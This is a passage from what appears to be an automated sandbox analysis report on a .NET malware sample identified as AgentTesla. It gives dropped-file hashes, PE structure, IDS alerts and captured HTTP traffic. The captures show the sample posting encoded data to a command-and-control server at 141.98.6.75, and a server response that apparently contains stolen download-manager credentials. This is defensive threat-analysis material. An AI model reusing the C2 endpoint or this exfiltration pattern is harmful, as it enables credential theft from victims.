Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pdP5Rv9pPW.exe.log

Download File

Process:	C:\Users\user\Desktop\pdP5Rv9pPW.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.340009400190196
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhav:ML9E4Ks2wKDE4KhK3VZ9pKhk
MD5:	CC144808DBAF00E03294347EADC8E779
SHA1:	A3434FC71BA82B7512C813840427C687ADDB5AEA
SHA-256:	3FC7B9771439E777A8F8B8579DD499F3EB90859AD30EFD8A765F341403FC7101
SHA-512:	A4F9EB98200BCAF388F89AABAF7EA57661473687265597B13192C24F06638C6339A3BD581DF4E002F26EE1BA09410F6A2BBDB4DA0CD40B59D63A09BAA1AADD3D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Roaming\excel\excel.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2688096
Entropy (8bit):	6.409257767499659
Encrypted:	false
SSDEEP:	49152:PAa87OQFMC/tWcHUgeRjRKW+0UpzIrFjB5u901ACUTum:PAa87zLtWI6jX+0UFIrZ//1a
MD5:	B3A917344F5610BEEC562556F11300FA
SHA1:	F7B1AC747E7705A21ACDD582B63800016BE21774
SHA-256:	7BA4838E3356B69254730E891ADD84092E3143016A515FF3E990CE19874A2459
SHA-512:	2D1515D75C3E5870F2FB57B321E02CF9611D30F3716A5670F0C32781AEB96576508B3B1C9717B2AC041B7752865842DD8AF7AF712988FF90FE3E6847821FFE60
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 2%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.W32.AIDetectNet.01.9473.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetectNet.01.10857.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetectNet.01.20458.exe, Detection: malicious, Browse Filename: Doc151.pif.exe, Detection: malicious, Browse Filename: Doc0627.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetectNet.01.1410.exe, Detection: malicious, Browse Filename: Request For Quotation And Sample.pdf.exe, Detection: malicious, Browse Filename: RFQ.exe, Detection: malicious, Browse Filename: INVOICE.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.IL.Trojan.MSILZilla.13134.2490.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetectNet.01.2799.exe, Detection: malicious, Browse Filename: gqyMDfZZ4K.exe, Detection: malicious, Browse Filename: Neves n 0rder.exe, Detection: malicious, Browse Filename: products specification.exe, Detection: malicious, Browse Filename: 0JupZJZDCk.exe, Detection: malicious, Browse Filename: TT COPY.exe, Detection: malicious, Browse Filename: IAENMAIL-A4-220222-0830-0005036.pdf.exe, Detection: malicious, Browse Filename: 0000002065.pdf.exe, Detection: malicious, Browse Filename: ldin.exe, Detection: malicious, Browse Filename: 2de5fe686b665d9aeb98b075fb139e33fffe278986a15.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........d..O..O..O......O......O..v...O..v...O.....O......O.....O..=:..O..=:..O..=:..O..=:..O..v...O..O...N.......O......O......O......O..Rich.O..........PE..L....`.Z.........."......."..8............... "...@.......................... )......!)...@...... ..................d.".V.....#.......#.L.............(.`>....'.46....".T...........................`...@.............#..............................text...d."......."................. ..`.data...,.....".......".............@....idata........#.......#.............@..@.tls..........#.......#.............@....rsrc...L.....#.......#.............@..@.reloc..46....'..8....'.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fghn\fghn.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	521216
Entropy (8bit):	6.68537661395277
Encrypted:	false
SSDEEP:	12288:hBuapACH7mAxDuS7yYjcQtjHwCq+qS5TiJ4gnAGZyOwG:1XmYjcQtjHwCq+qS5TiJ4gnAKyOwG
MD5:	18E913EC810A1131C23D6FEA7526C4F8
SHA1:	96C426169C87505E950898AD38913CC726BF198D
SHA-256:	548A9D790D8D54BAF1FAF9C67133398A96FAD5ADD7DAA35E89AAD9D777BD103D
SHA-512:	F7DB06C94A8F5D052D66F1297DF5F1A60892F15A8E4AB9069F6654DD8119738E62FC1779D220B49710D8DA067CC2A437909BEDC75C86B248B196A86F31224F0A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 51%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c................."..........^A... ...`....@.. .......................`.......Y....@..................................A..O....`.......................@....................................................... ............... ..H............text...d!... ...".................. ..`.rsrc........`.......$..............@..@.reloc.......@......................@..B................@A......H.......P...........3...d=...F..........................................IvMeedev..(......-.(....&2~{....(......(.......{......{....:~.......(......{......{....:~.......(......{....6~......(......{......{......{......{......{......{......{.....~....(.....~Q...(.....~....(......{.....~6...(......{......{......{....6~F.....(....6~G.....(....*..0...........{....#..^nY7^@#.....@O@(i...X(j...(.....z....#......M@#.....@M@(k...X(j...("....y....#....]h@#

C:\Users\user\AppData\Roaming\fghn\fghn.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\excel\excel.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	6809
Entropy (8bit):	4.315685828355093
Encrypted:	false
SSDEEP:	96:zKHDGKD7zrrRYZZ/HPw4//HP/HH6K1jqQiGyGTFchzCKtihKCsO2b0N/+7vKAKPO:YrRYZXCKgQifr8sC/635P
MD5:	DA37CE62FC9ABAB3226A1797FF449487
SHA1:	18F29B4F3B1D12BA18DF2EF8964DA20107EEFFC9
SHA-256:	80EAB2A83F12150619544DBFFDD130D60B6869EE742F9000F8E3109F406FAD6E
SHA-512:	5A8BF4140440BCB218CFE90A3371AE761212BC4364DC7E7C055980D3FAB4C4E4499B1CADB13666D4D5F03B6AE835AEE4B44F78D4B2A4AA4ABDF20D8161B12F66
Malicious:	false
Preview:	Microsoft (R) Visual Basic Compiler version 14.7.3056.for Visual Basic 2012.Copyright (c) Microsoft Corporation. All rights reserved...This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to Visual Basic 2012, which is no longer the latest version. For compilers that support newer versions of the Visual Basic programming language, see http://go.microsoft.com/fwlink/?LinkID=533241.. Visual Basic Compiler Options.. - OUTPUT FILE -./out:<file> Specifies the output file name../target:exe Create a console application (default). (Short form: /t)./target:winexe Create a Windows application../target:library Create a library assembly../target:module Create a module that can be added to an assembly../target:appcontainerexe Create a Windows application that runs in AppContainer../ta

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.68537661395277
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	pdP5Rv9pPW.exe
File size:	521216
MD5:	18e913ec810a1131c23d6fea7526c4f8
SHA1:	96c426169c87505e950898ad38913cc726bf198d
SHA256:	548a9d790d8d54baf1faf9c67133398a96fad5add7daa35e89aad9d777bd103d
SHA512:	f7db06c94a8f5d052d66f1297df5f1a60892f15a8e4ab9069f6654dd8119738e62fc1779d220b49710d8da067cc2a437909bedc75c86b248b196a86f31224f0a
SSDEEP:	12288:hBuapACH7mAxDuS7yYjcQtjHwCq+qS5TiJ4gnAGZyOwG:1XmYjcQtjHwCq+qS5TiJ4gnAKyOwG
TLSH:	B6B41E1C3E011A66FD0F9130CC092A857BA60FA33341A99757BF3FCAAB6F0566F45985
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c................."..........^A... ...`....@.. .......................`.......Y....@................................

File Icon


Icon Hash:	f0b2f26dd88ec6e8

Static PE Info

General

Entrypoint:	0x47415e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x63041C8C [Tue Aug 23 00:17:16 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7410c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x76000	0xcdba	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x84000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x72164	0x72200	False	0.6246641395125958	data	6.786232224405754	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x76000	0xcdba	0xce00	False	0.3315951152912621	data	4.354166179939291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x84000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x762c4	0xea8	data	English	United States
RT_ICON	0x7716c	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x77a14	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x77f7c	0x1cec	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x79c68	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 64767, next used block 4282318848	English	United States
RT_ICON	0x7de90	0x25a8	data	English	United States
RT_ICON	0x80438	0x10a8	data	English	United States
RT_ICON	0x814e0	0x988	data	English	United States
RT_ICON	0x81e68	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_GROUP_ICON	0x822d0	0x84	data	English	United States
RT_VERSION	0x82354	0x340	data	English	United States
RT_MANIFEST	0x82694	0x726	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4141.98.6.7549717802034579 08/28/22-17:19:41.645966	TCP	2034579	ET TROJAN AgentTesla Communicating with CnC Server	49717	80	192.168.2.4	141.98.6.75
192.168.2.4141.98.6.7549753802034579 08/28/22-17:21:11.426704	TCP	2034579	ET TROJAN AgentTesla Communicating with CnC Server	49753	80	192.168.2.4	141.98.6.75

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2022 17:19:41.617660046 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:19:41.645329952 CEST	80	49717	141.98.6.75	192.168.2.4
Aug 28, 2022 17:19:41.645463943 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:19:41.645966053 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:19:41.676053047 CEST	80	49717	141.98.6.75	192.168.2.4
Aug 28, 2022 17:19:41.676698923 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:19:41.717947960 CEST	80	49717	141.98.6.75	192.168.2.4
Aug 28, 2022 17:19:41.870405912 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:19:46.736474991 CEST	80	49717	141.98.6.75	192.168.2.4
Aug 28, 2022 17:19:46.737335920 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:20:56.445935011 CEST	49717	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:11.399175882 CEST	49753	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:11.426378965 CEST	80	49753	141.98.6.75	192.168.2.4
Aug 28, 2022 17:21:11.426496029 CEST	49753	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:11.426703930 CEST	49753	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:11.457539082 CEST	80	49753	141.98.6.75	192.168.2.4
Aug 28, 2022 17:21:11.458311081 CEST	49753	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:11.502499104 CEST	80	49753	141.98.6.75	192.168.2.4
Aug 28, 2022 17:21:11.652420044 CEST	49753	80	192.168.2.4	141.98.6.75
Aug 28, 2022 17:21:16.503520966 CEST	80	49753	141.98.6.75	192.168.2.4
Aug 28, 2022 17:21:16.503599882 CEST	49753	80	192.168.2.4	141.98.6.75

HTTP Request Dependency Graph

141.98.6.75

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49717	141.98.6.75	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Aug 28, 2022 17:19:41.645966053 CEST	10767	OUT	POST /weption/inc/0986372054b5f8.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Type: application/x-www-form-urlencoded Host: 141.98.6.75 Content-Length: 580 Expect: 100-continue Connection: Keep-Alive
Aug 28, 2022 17:19:41.676053047 CEST	10767	IN	HTTP/1.1 100 Continue
Aug 28, 2022 17:19:41.676698923 CEST	10768	OUT	Data Raw: 70 3d 41 67 50 4b 49 45 4d 73 4d 35 77 6c 41 30 37 56 52 6e 48 2f 4b 44 6e 50 4b 54 30 48 51 38 4f 45 77 35 78 33 51 45 36 45 57 75 58 46 7a 4f 50 33 76 6c 4f 32 54 75 53 53 45 4f 31 76 4a 50 4e 39 32 71 32 61 33 67 61 30 66 47 50 61 69 67 72 63 Data Ascii: p=AgPKIEMsM5wlA07VRnH/KDnPKT0HQ8OEw5x3QE6EWuXFzOP3vlO2TuSSEO1vJPN92q2a3ga0fGPaigrck7DC5Z49tJDT%2BXo73d3fvcYnbGR0KYqQKmtPL7vmLI768cdQrxvcTMDusgY7hIOdgUi3bTdcEThCyfZo3X%2BFrsd1mLn4emqzdOxy3m8gkTAnZRr3ms4QI8KY1H/zM79/CZNKp4RMttYjpPF9PY/%2Bhv4UPHA
Aug 28, 2022 17:19:41.717947960 CEST	10769	IN	HTTP/1.1 200 OK Date: Sun, 28 Aug 2022 15:19:41 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6 X-Powered-By: PHP/8.1.6 Content-Length: 552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5b 5b 22 49 6e 74 65 72 6e 65 74 20 44 6f 77 6e 6c 6f 61 64 20 4d 61 6e 61 67 65 72 22 2c 22 68 74 74 70 3a 2f 2f 58 37 72 7a 64 79 38 78 33 49 72 4a 50 2e 6e 65 74 22 2c 22 43 66 54 4d 37 4c 58 47 69 61 52 30 22 2c 22 6e 55 31 46 44 59 34 31 77 52 4d 4f 22 5d 2c 5b 22 4a 44 6f 77 6e 6c 6f 61 64 65 72 22 2c 22 0a 6d 4b 79 56 74 63 55 6a 4e 49 6f 2e 22 2c 22 25 30 41 70 62 65 64 52 42 50 6d 6e 75 6c 6c 22 2c 22 25 30 41 36 46 34 59 33 4f 47 44 48 33 4f 52 34 4a 45 22 5d 5d 3c 62 72 20 2f 3e 0a 3c 62 3e 46 61 74 61 6c 20 65 72 72 6f 72 3c 2f 62 3e 3a 20 20 55 6e 63 61 75 67 68 74 20 54 79 70 65 45 72 72 6f 72 3a 20 73 69 7a 65 6f 66 28 29 3a 20 41 72 67 75 6d 65 6e 74 20 23 31 20 28 24 76 61 6c 75 65 29 20 6d 75 73 74 20 62 65 20 6f 66 20 74 79 70 65 20 43 6f 75 6e 74 61 62 6c 65 7c 61 72 72 61 79 2c 20 6e 75 6c 6c 20 67 69 76 65 6e 20 69 6e 20 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 20 3a 20 65 76 61 6c 28 29 27 64 20 63 6f 64 65 3a 31 32 37 0a 53 74 61 63 6b 20 74 72 61 63 65 3a 0a 23 30 20 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 3a 20 65 76 61 6c 28 29 0a 23 31 20 7b 6d 61 69 6e 7d 0a 20 20 74 68 72 6f 77 6e 20 69 6e 20 3c 62 3e 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 20 3a 20 65 76 61 6c 28 29 27 64 20 63 6f 64 65 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 31 32 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: [["Internet Download Manager","http://X7rzdy8x3IrJP.net","CfTM7LXGiaR0","nU1FDY41wRMO"],["JDownloader","mKyVtcUjNIo.","%0ApbedRBPmnull","%0A6F4Y3OGDH3OR4JE"]]<br /><b>Fatal error</b>: Uncaught TypeError: sizeof(): Argument #1 ($value) must be of type Countable\|array, null given in C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12) : eval()'d code:127Stack trace:#0 C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12): eval()#1 {main} thrown in <b>C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12) : eval()'d code</b> on line <b>127</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49753	141.98.6.75	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Aug 28, 2022 17:21:11.426703930 CEST	11407	OUT	POST /weption/inc/0986372054b5f8.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Content-Type: application/x-www-form-urlencoded Host: 141.98.6.75 Content-Length: 580 Expect: 100-continue Connection: Keep-Alive
Aug 28, 2022 17:21:11.457539082 CEST	11407	IN	HTTP/1.1 100 Continue
Aug 28, 2022 17:21:11.458311081 CEST	11408	OUT	Data Raw: 70 3d 41 67 50 4b 49 45 4d 73 4d 35 77 6c 41 30 37 56 52 6e 48 2f 4b 44 6e 50 4b 54 30 48 51 38 4f 45 77 35 78 33 51 45 36 45 57 75 58 46 7a 4f 50 33 76 6c 4f 32 54 75 53 53 45 4f 31 76 4a 50 4e 39 32 71 32 61 33 67 61 30 66 47 50 61 69 67 72 63 Data Ascii: p=AgPKIEMsM5wlA07VRnH/KDnPKT0HQ8OEw5x3QE6EWuXFzOP3vlO2TuSSEO1vJPN92q2a3ga0fGPaigrck7DC5Z49tJDT%2BXo73d3fvcYnbGR0KYqQKmtPL7vmLI768cdQrxvcTMDusgY7hIOdgUi3bTdcEThCyfZo3X%2BFrsd1mLn4emqzdOxy3m8gkTAnZRr3/apzkYkqCL4A0bee2KrvL4RMttYjpPF9PY/%2Bhv4UPHA
Aug 28, 2022 17:21:11.502499104 CEST	11409	IN	HTTP/1.1 200 OK Date: Sun, 28 Aug 2022 15:21:11 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6 X-Powered-By: PHP/8.1.6 Content-Length: 552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5b 5b 22 49 6e 74 65 72 6e 65 74 20 44 6f 77 6e 6c 6f 61 64 20 4d 61 6e 61 67 65 72 22 2c 22 68 74 74 70 3a 2f 2f 58 37 72 7a 64 79 38 78 33 49 72 4a 50 2e 6e 65 74 22 2c 22 43 66 54 4d 37 4c 58 47 69 61 52 30 22 2c 22 6e 55 31 46 44 59 34 31 77 52 4d 4f 22 5d 2c 5b 22 4a 44 6f 77 6e 6c 6f 61 64 65 72 22 2c 22 0a 6d 4b 79 56 74 63 55 6a 4e 49 6f 2e 22 2c 22 25 30 41 70 62 65 64 52 42 50 6d 6e 75 6c 6c 22 2c 22 25 30 41 36 46 34 59 33 4f 47 44 48 33 4f 52 34 4a 45 22 5d 5d 3c 62 72 20 2f 3e 0a 3c 62 3e 46 61 74 61 6c 20 65 72 72 6f 72 3c 2f 62 3e 3a 20 20 55 6e 63 61 75 67 68 74 20 54 79 70 65 45 72 72 6f 72 3a 20 73 69 7a 65 6f 66 28 29 3a 20 41 72 67 75 6d 65 6e 74 20 23 31 20 28 24 76 61 6c 75 65 29 20 6d 75 73 74 20 62 65 20 6f 66 20 74 79 70 65 20 43 6f 75 6e 74 61 62 6c 65 7c 61 72 72 61 79 2c 20 6e 75 6c 6c 20 67 69 76 65 6e 20 69 6e 20 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 20 3a 20 65 76 61 6c 28 29 27 64 20 63 6f 64 65 3a 31 32 37 0a 53 74 61 63 6b 20 74 72 61 63 65 3a 0a 23 30 20 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 3a 20 65 76 61 6c 28 29 0a 23 31 20 7b 6d 61 69 6e 7d 0a 20 20 74 68 72 6f 77 6e 20 69 6e 20 3c 62 3e 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 77 65 70 74 69 6f 6e 5c 69 6e 63 5c 30 39 38 36 33 37 32 30 35 34 62 35 66 38 2e 70 68 70 28 31 32 29 20 3a 20 65 76 61 6c 28 29 27 64 20 63 6f 64 65 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 31 32 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: [["Internet Download Manager","http://X7rzdy8x3IrJP.net","CfTM7LXGiaR0","nU1FDY41wRMO"],["JDownloader","mKyVtcUjNIo.","%0ApbedRBPmnull","%0A6F4Y3OGDH3OR4JE"]]<br /><b>Fatal error</b>: Uncaught TypeError: sizeof(): Argument #1 ($value) must be of type Countable\|array, null given in C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12) : eval()'d code:127Stack trace:#0 C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12): eval()#1 {main} thrown in <b>C:\xampp\htdocs\weption\inc\0986372054b5f8.php(12) : eval()'d code</b> on line <b>127</b><br />

Target ID:	0
Start time:	17:18:58
Start date:	28/08/2022
Path:	C:\Users\user\Desktop\pdP5Rv9pPW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pdP5Rv9pPW.exe"
Imagebase:	0x190000
File size:	521216 bytes
MD5 hash:	18E913EC810A1131C23D6FEA7526C4F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	17:19:26
Start date:	28/08/2022
